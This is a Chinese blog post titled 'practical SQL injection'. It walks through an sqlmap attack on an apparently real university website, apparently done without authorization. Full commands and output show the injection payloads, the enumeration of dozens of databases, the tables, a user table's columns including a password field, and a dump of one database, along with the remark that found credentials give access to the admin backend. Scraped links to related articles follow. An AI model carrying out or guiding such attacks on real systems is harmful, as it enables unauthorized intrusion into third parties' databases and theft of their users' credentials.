实战SQL注入

SQL注入是啥就不解释了。下面演示一个SQL注入的例子

SQL注入点可以自己尝试或用SQL注入漏洞扫描工具去寻找，这里用大名鼎鼎的sqlmap演示一个现成的案例。

1.漏洞试探

root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool

    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at ::

[::] [INFO] resuming back-end DBMS 'microsoft sql server'

[::] [INFO] testing connection to the target URL

sqlmap identified the following injection points with a total of  HTTP(s) requests:

---

Place: GET

Parameter: id

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=' AND 8841=8841 AND 'bZbc'='bZbc

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries

    Payload: id='; WAITFOR DELAY '::'--

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind

    Payload: id=' WAITFOR DELAY '::'--

---

[::] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows  or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server

[::] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/xxx.njnu.edu.cn'

[*] shutting down at ::

可以看到这个站点是有SQL注入点的，连系统/应用/sql类型都爆出来了。接下来我们来探索一下这个数据库里有些什么。

2.查看数据库

root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87 --dbs

    ...

sqlmap identified the following injection points with a total of  HTTP(s) requests:

---

Place: GET

Parameter: id

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=' AND 8841=8841 AND 'bZbc'='bZbc

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries

    Payload: id='; WAITFOR DELAY '::'--

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind

    Payload: id=' WAITFOR DELAY '::'--

---

[::] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows  or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server

[::] [INFO] fetching database names

[::] [INFO] fetching number of databases

[::] [INFO] resumed:

[::] [INFO] resumed: BZBB_lw

[::] [INFO] resumed: ChualgXinNS

[::] [INFO] resumed: db_dike

[::] [INFO] resumed: db_dndqjzw

[::] [INFO] resumed: db_njsdjw

[::] [INFO] resumed: db_njsfsy

[::] [INFO] resumed: db_nsddlhj

[::] [INFO] resumed: db_nsdhgxn

[::] [INFO] resumed: db_nsdmba

[::] [INFO] resumed: db_nsdMediaC

[::] [INFO] resumed: db_nsdscw

[::] [INFO] resumed: db_nsdsw

[::] [INFO] resumed: db_nsdswyy

[::] [INFO] resumed: db_nsdswzy

[::] [INFO] resumed: db_nyspjc

[::] [INFO] resumed: db_sdjxjy

[::] [INFO] resumed: db_spaqjc

[::] [INFO] resumed: JiaoCai

[::] [INFO] resumed: maste@

[::] [INFO] resumed: MBA

[::] [INFO] resumed: model

[::] [INFO] resumed: msdb

[::] [INFO] resumed: njnulab

[::] [INFO] resumed: njnupj

[::] [INFO] resumed: nju

[::] [INFO] resumed: nju2222

[::] [INFO] resumed: njuold

[::] [INFO] resumed: njupj2012

[::] [INFO] resumed: Northwind

[::] [INFO] resumed: NSD_ApplicationChemical

[::] [INFO] resumed: NSD_Cnooc

[::] [INFO] resumed: NSD_ElectricalEngineering

[::] [INFO] resumed: NSD_ElectronicInformation

[::] [INFO] resumed: NSD_TeacherSkills

[::] [INFO] resumed: NSD_TeachingTeam

[::] [INFO] resumed: nsddky_sy

[::] [INFO] resumed: nsdsfjdzx

[::] [INFO] resumed: nsdsfjdzxnew

[::] [INFO] resumed: nsglxt

[::] [INFO] resumed: NSHuaKe

[::] [INFO] resumed: NSXinLiXue

[::] [INFO] resumed: NY_JG

[::] [INFO] resumed: pubs

[::] [INFO] resumed: ShangXueYuannew

[::] [INFO] resumed: tempdb

[::] [INFO] resumed: zhongxin

[::] [INFO] resumed: zhongxinold

available databases []:

[*] BZBB_lw

[*] ChualgXinNS

[*] db_dike

[*] db_dndqjzw

[*] db_njsdjw

[*] db_njsfsy

[*] db_nsddlhj

[*] db_nsdhgxn

[*] db_nsdmba

[*] db_nsdMediaC

[*] db_nsdscw

[*] db_nsdsw

[*] db_nsdswyy

[*] db_nsdswzy

[*] db_nyspjc

[*] db_sdjxjy

[*] db_spaqjc

[*] JiaoCai

[*] maste@

[*] MBA

[*] model

[*] msdb

[*] njnulab

[*] njnupj

[*] nju

[*] nju2222

[*] njuold

[*] njupj2012

[*] Northwind

[*] NSD_ApplicationChemical

[*] NSD_Cnooc

[*] NSD_ElectricalEngineering

[*] NSD_ElectronicInformation

[*] NSD_TeacherSkills

[*] NSD_TeachingTeam

[*] nsddky_sy

[*] nsdsfjdzx

[*] nsdsfjdzxnew

[*] nsglxt

[*] NSHuaKe

[*] NSXinLiXue

[*] NY_JG

[*] pubs

[*] ShangXueYuannew

[*] tempdb

[*] zhongxin

[*] zhongxinold

[::] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/xxx.njnu.edu.cn'

[*] shutting down at ::

3.省略部分日志，可以看到所有的数据库都已经找到了，接下来可以查看具体的表。

root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87 -D JiaoCai --tables --threads 5

...

[::] [INFO] resuming back-end DBMS 'microsoft sql server'

[::] [INFO] testing connection to the target URL

sqlmap identified the following injection points with a total of  HTTP(s) requests:

---

Place: GET

Parameter: id

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=' AND 8841=8841 AND 'bZbc'='bZbc

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries

    Payload: id='; WAITFOR DELAY '::'--

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind

    Payload: id=' WAITFOR DELAY '::'--

---

[::] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows  or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server

[::] [INFO] fetching tables for database: JiaoCai

[::] [INFO] fetching number of tables for database 'JiaoCai'

[::] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[::] [INFO] retrieved:

[::] [WARNING] reflective value(s) found and filtering out

[::] [INFO] retrieved: dbo.dtproperties

[::] [INFO] retrieved: dbo.sysconstraints

[::] [INFO] retrieved: dbo.syssegments

[::] [INFO] retrieved: dbo.T_BuildYxJc

[::] [INFO] retrieved: dbo.T_BuildZdJc

[::] [INFO] retrieved: dbo.T_CanYu

[::] [INFO] retrieved: dbo.T_EndDate

[::] [INFO] retrieved: dbo.T_G_BuildYxJc

[::] [INFO] retrieved: dbo.T_G_Bu

[::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request

[::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request

ildZdJc

[::] [INFO] retrieved: dbo.T_G_Ca

[::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request

nYu

[::] [INFO] retrieved: dbo.T_G_EndDate

[::] [INFO] retrieved: dbo.T_G_JiaoCai

[::] [INFO] retrieved: dbo.T_G_News

[::] [INFO] retrieved: dbo.T_G_User

[::] [INFO] retrieved: dbo.T_G_XueYuan

[::] [INFO] retrieved: dbo.T_G_ZhuanYe

[::] [INFO] retrieved: dbo.T_G_ZyToJc

[::] [INFO] retrieved: dbo.T_JiaoCai

[::] [INFO] retrieved: dbo.T_News

[::] [INFO] retrieved: dbo.T_U

[::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request

ser

[::] [INFO] retrieved: dbo.T_XueYuan

[::] [INFO] retrieved: dbo.T_ZhuanYe

[::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request

[::] [INFO] retrieved: dbo.T_ZyToJc

Database: JiaoCai

[ tables]

+----------------+

| T_BuildYxJc    |

| T_BuildZdJc    |

| T_CanYu        |

| T_EndDate      |

| T_G_BuildYxJc  |

| T_G_BuildZdJc  |

| T_G_CanYu      |

| T_G_EndDate    |

| T_G_JiaoCai    |

| T_G_News       |

| T_G_User       |

| T_G_XueYuan    |

| T_G_ZhuanYe    |

| T_G_ZyToJc     |

| T_JiaoCai      |

| T_News         |

| T_User         |

| T_XueYuan      |

| T_ZhuanYe      |

| T_ZyToJc       |

| dtproperties   |

| sysconstraints |

| syssegments    |

+----------------+

[::] [WARNING] HTTP error codes detected during run:

 (Internal Server Error) -  times

[::] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/xxx.njnu.edu.cn'

[*] shutting down at ::

4.找到自己想要的表，如果你找到了存放user和passwd的表，那么你就可以后台登录他们的管理系统了。

root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87 -D ShangXueYuannew -T T_User --columns --threads 5

 ...

HTTP(s) requests:

---

Place: GET

Parameter: id

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=' AND 8841=8841 AND 'bZbc'='bZbc

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries

    Payload: id='; WAITFOR DELAY '::'--

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind

    Payload: id=' WAITFOR DELAY '::'--

---

[::] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows  or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server

[::] [INFO] fetching columns for table 'T_User' in database 'ShangXueYuannew'

[::] [INFO] retrieved:

[::] [WARNING] reflective value(s) found and filtering out

[::] [INFO] retrieving the length of query output

[::] [INFO] retrieved:

[::] [INFO] retrieved: FileTheme

[::] [INFO] retrieving the length of query output

[::] [INFO] retrieved:

[::] [INFO] retrieved: varchar

[::] [INFO] retrieving the length of query output

[::] [INFO] retrieved:

[::] [INFO] retrieved: Pwd

[::] [INFO] retrieving the length of query output

[::] [INFO] retrieved:

[::] [INFO] retrieved: varchar

[::] [INFO] retrieving the length of query output

[::] [INFO] retrieved:

[::] [INFO] retrieved: Role

[::] [INFO] retrieving the length of query output

[::] [INFO] retrieved:

[::] [INFO] retrieved: varchar

[::] [INFO] retrieving the length of query output

[::] [INFO] retrieved:

[::] [INFO] retrieved: UserFile

[::] [INFO] retrieving the length of query output

[::] [INFO] retrieved:

[::] [INFO] retrieved: varchar

[::] [INFO] retrieving the length of query output

[::] [INFO] retrieved:

[::] [INFO] retrieved: UserId

[::] [INFO] retrieving the length of query output

[::] [INFO] retrieved:

[::] [INFO] retrieved: varcha_ / (%)

[::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request

[::] [WARNING] if the problem persists please try to lower the number of used threads (option '--threads')

[::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request

[::] [INFO] retrieved: varchar

[::] [INFO] retrieving the length of query output

[::] [INFO] retrieved:

[::] [INFO] retrieved: UserName

[::] [INFO] retrieving the length of query output

[::] [INFO] retrieved:

[::] [INFO] retrieved: va_cha_ / (%)

[::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request

[::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request

[::] [INFO] retrieved: varchar

[::] [INFO] retrieving the length of query output

[::] [INFO] retrieved:

[::] [INFO] retrieved: UserNo

[::] [INFO] retrieving the length of query output

[::] [INFO] retrieved:

[::] [INFO] retrieved: int

Database: ShangXueYuannew

Table: T_User

[ columns]

+-----------+---------+

| Column    | Type    |

+-----------+---------+

| FileTheme | varchar |

| Pwd       | varchar |

| Role      | varchar |

| UserFile  | varchar |

| UserId    | varchar |

| UserName  | varchar |

| UserNo    | int     |

+-----------+---------+

[::] [WARNING] HTTP error codes detected during run:

 (Internal Server Error) -  times

[::] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/xxx.njnu.edu.cn'

[*] shutting down at ::

5.甚至你可以把想要的数据库下载下来，在本地慢慢研究

root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87 -D ShangXueYuannew --dump --threads 5

时间相当长，完了后就能看到SQL的具体内容了。

Database: ShangXueYuannew

Table: T_Acceptance

[ entries]

+-----+-----+------------+------------+------------+------------+---------------------------+--------+

| aId | aNo | aRar       | aPdf       | aWord      | aFlash     | aTitle                    | aState |

+-----+-----+------------+------------+------------+------------+---------------------------+--------+

| NULL |    | .rar | NULL       | NULL       | NULL       | NULL                      | -   |

|    |   | NULL       | .pdf | .doc | .swf | 江苏省高等学校实验教学示范中心2011年验收申请表 | -   |

|    |   | NULL       | .pdf | .doc | .swf | 江苏省高等学校基础课实验教学示范中心立项申报表   | -   |

|    |   | NULL       | .pdf | .doc | .swf | 支撑材料之一：经济管理教学实验中心整体介绍     | -   |

|    |   | NULL       | .pdf | .doc | .swf | 支撑材料之二：实验室相关政策措施及规章制度     | -   |

|    |   | NULL       | .pdf | .doc | .swf | 支撑材料之三：课程实验教学计划及实验项目      | -   |

|    |   | NULL       | .pdf | .doc | .swf | 支撑材料之四：典型自编课程实验讲义         | -   |

|    |   | NULL       | .pdf | .doc | .swf | 支撑材料之五：典型多媒体课件简介          | -   |

|    |   | NULL       | .pdf | .doc | .swf | 支撑材料之߸ߢ经济ߢ理教学实验中心建设成果     | -   |

| NULL |    | .rar | NULL       | NULL       | NULL       | NULL                      | -   |

+-----+-----+------------+------------+------------+------------+---------------------------+--------+

实战SQL注入的更多相关文章

【Hibernate实战】源码解析Hibernate参数绑定及PreparedStatement防SQL注入原理
本文采用mysql驱动是5.1.38版本. 本篇文章涉及内容比较多,单就Hibernate来讲就很大,再加上数据库驱动和数据库相关,非一篇文章或一篇专题就能说得完.本文从使用入手在[Spr ...
渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
SpringBoot微服务电商项目开发实战 --- api接口安全算法、AOP切面及防SQL注入实现
上一篇主要讲了整个项目的子模块及第三方依赖的版本号统一管理维护,数据库对接及缓存(Redis)接入,今天我来说说过滤器配置及拦截设置.接口安全处理.AOP切面实现等.作为电商项目,不仅要求考虑高并发带 ...
渗透测试初学者的靶场实战 3--墨者学院SQL注入—宽字节盲注
墨者SQL注入-MYSQL数据库实战环境实践步骤 1. 决断注入点输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常输入-1,返回异常: 2. 带入s ...
渗透测试初学者的靶场实战 2--墨者学院SQL注入—报错盲注
墨者SQL注入-MYSQL数据库实战环境实践步骤 1. 决断注入点输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常输入-1,返回异常: 2. 带入s ...
[红日安全]Web安全Day1 - SQL注入实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
从原理—实战分析SQL注入
前言 SQL注入是web安全中最常见的攻击方式,SQL注入有很多方法,但如果只知道payload或只用用sqlmap,不知道原理,感觉也很难掌握,这次就总结一下我所遇到的SQL注入方法,原理分析+题目 ...
【攻防实战】SQL注入演练！
这篇文章目的是让初学者利用SQL注入技术来解决他们面临的问题, 成功的使用它们,并在这种攻击中保护自己. 1.0 介绍当一台机器只打开了80端口, 你最依赖的漏洞扫描器也不能返回任何有用的内容, 并 ...
[漏洞案例]thinkcmf 2.x从sql注入到getshell实战
0X00 前言这个案例是某项目的漏洞,涉及敏感的地方将会打码. 很久没更新博客了,放一篇上来除除草,新的一年会有所转变,以后会有更多领域的研究. 下面是正文 0X01 正文某厂商某个网站用的是th ...

随机推荐

System.currentTimeMillis()与SystemClock.uptimeMillis()
1.System.currentTimeMillis()获取的是系统的时间,可以使用SystemClock.setCurrentTimeMillis(long millis)进行设置.如果使用Syst ...
Android Studio git 版本回退到最新的版本
1.场景 1.1 最新三次的提交分别是:定义了一个变量k = 10 . 定义了一个变量 j = 6 . 定义了一个变量 i = 5 ; 本地仓库和远程仓库保持一致 1.2 我添加了一行代码 ...
阿里云服务器怎么去掉tomcat的8080端口
前言:最近在阿里云申请了一个云服务器,然后已买了一个域名.比如www.haha.com ; 在云服务器上安装了tomcat ,访问服务器就成了 http://www.haha.com:8080/ . ...
Android studio 如何查看当前git 分支的4种方式
1.第一种 2.第二种 3.第三种 4.第四种前面3种都是通过android studio 操作的. 第四种是通过命令行操作.(可以在 git bash 中输入命 ...
[UITableView _endCellAnimationsWithContext:]
由于项目需要,做一个UITableView来实现删除功能. 1.TableView是分组的. 2.点击删除按钮后,某行被删除. 出现:[UITableView _endCellAnimat ...
socket编程中服务器端常用函数以及简单实现
1 常用函数 1.1 socket() int socket(int family, int type, int protocol); socket()打开一个网络通讯端口,如果成功的话,返回一个 ...
免费开发者证书真机调试App ID失效问题:"Unable to add App ID because the '10' App ID limit in '7' days has been exceeded."解决方案（5月5号）
免费开发者证书真机调试App ID失效问题:"Unable to add App ID because the '10' App ID limit in '7' days has been ...
【转】OpenStack和Docker、ServerLess能不能决定云计算胜负吗？
还记得在十多年前,SaaS鼻祖SalesForce喊出的口号『No Software』吗?SalesForce在这个口号声中开创了SaaS行业,并成为当今市值460亿美元的SaaS之王.今天谈谈『No ...
git各种命令介绍以及碰到的各种坑
一.各种命令介绍: git pull:从其他的版本库(既可以是远程的也可以是本地的)将代码更新到本地,例如:'git pull origin master'就是将origin这个版本库的代码更新到本地 ...
分享php工作中遇到的一些探究和技巧【1】
一 foreach的引用 $arr = range(,); //[1,2,3] foreach($arr as &$val) { } foreach($arr as $val) { } pri ...

实战SQL注入

实战SQL注入的更多相关文章

随机推荐

热门专题